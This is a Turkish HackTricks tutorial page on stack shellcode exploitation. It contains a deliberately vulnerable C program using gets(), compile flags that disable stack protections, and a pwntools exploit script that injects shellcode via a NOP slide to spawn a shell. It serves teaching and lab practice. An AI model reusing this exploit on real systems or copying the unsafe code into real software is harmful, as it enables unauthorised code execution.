hacktricks/binary-exploitation/stack-overflow/stack-shellcode.md

7.2 KiB
Raw Blame History

Yığın Kabuk Kodu

Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Temel Bilgiler

Yığın kabuk kodu, bir saldırganın zafiyetli bir programın yığınına kabuk kodu yazdığı ve ardından Komut İşaretçisi (IP) veya Genişletilmiş Komut İşaretçisi (EIP)'yi bu kabuk kodunun konumuna yönlendirdiği binary exploitation tekniğidir. Bu, yetkisiz erişim elde etmek veya hedef sistemde keyfi komutlar çalıştırmak için kullanılan klasik bir yöntemdir. İşte bu sürecin ayrıntıları, basit bir C örneği ve pwntools ile Python kullanarak buna karşılık gelen bir saldırı yazabileceğiniz şekilde açıklanmıştır.

C Örneği: Zafiyetli Bir Program

Basit bir zafiyetli C programı örneğiyle başlayalım:

#include <stdio.h>
#include <string.h>

void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}

int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}

Bu program, gets() fonksiyonunun kullanımından dolayı bir tampon taşmasına karşı savunmasızdır.

Derleme

Bu programı derlerken çeşitli korumaları devre dışı bırakarak (savunmasız bir ortamı simüle etmek için) aşağıdaki komutu kullanabilirsiniz:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -fno-stack-protector: Stack korumasını devre dışı bırakır.
  • -z execstack: Stack'i yürütülebilir yapar, stack'te depolanan shellcode'un yürütülmesi için gereklidir.
  • -no-pie: Konum Bağımsız Yürütülebilir'i devre dışı bırakır, shellcodemuzun bulunacağı bellek adresini tahmin etmeyi kolaylaştırır.
  • -m32: Programı 32-bit yürütülebilir olarak derler, genellikle exploit geliştirme sürecinde basitlik için kullanılır.

Pwntools Kullanarak Python Exploit'i

İşte pwntools kullanarak Python'da bir exploit yazabileceğiniz ve bir ret2shellcode saldırısı gerçekleştirebileceğiniz bir örnek:

from pwn import *

# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture

# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell

# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash

# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload))  # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide

# Send the payload
p.sendline(payload)
p.interactive()

Bu betik, bir NOP kaydırması, shellcode ve ardından EIP'yi NOP kaydırmasına işaret eden bir adrese üzerine yazarak shellcode'un yürütülmesini sağlayan bir yük oluşturur.

NOP kaydırması (asm('nop')) yürütmenin tam adresinden bağımsız olarak shellcode'a "kaydırılmasını" sağlamak için kullanılır. p32() argümanını, NOP kaydırmasına inmek için tamponunuzun başlangıç adresine bir ofset ekleyerek ayarlayın.

Korumalar

  • ASLR adresin her zaman aynı olması gerektiği için devre dışı bırakılmalıdır veya işlevin depolanacağı adres her zaman aynı olmayacak ve kazan işlevinin nerede yüklendiğini bulmak için bir sızıntıya ihtiyacınız olacaktır.
  • Stack Canaries da devre dışı bırakılmalıdır aksi takdirde tehlikeye düşmüş EIP dönüş adresi asla takip edilmeyecektir.
  • NX stack koruması, stack içindeki shellcode'un yürütülmesini engelleyecektir çünkü bu bölge yürütülebilir olmayacaktır.

Diğer Örnekler ve Referanslar

Sıfırdan kahraman olmak için AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'i desteklemenin diğer yolları: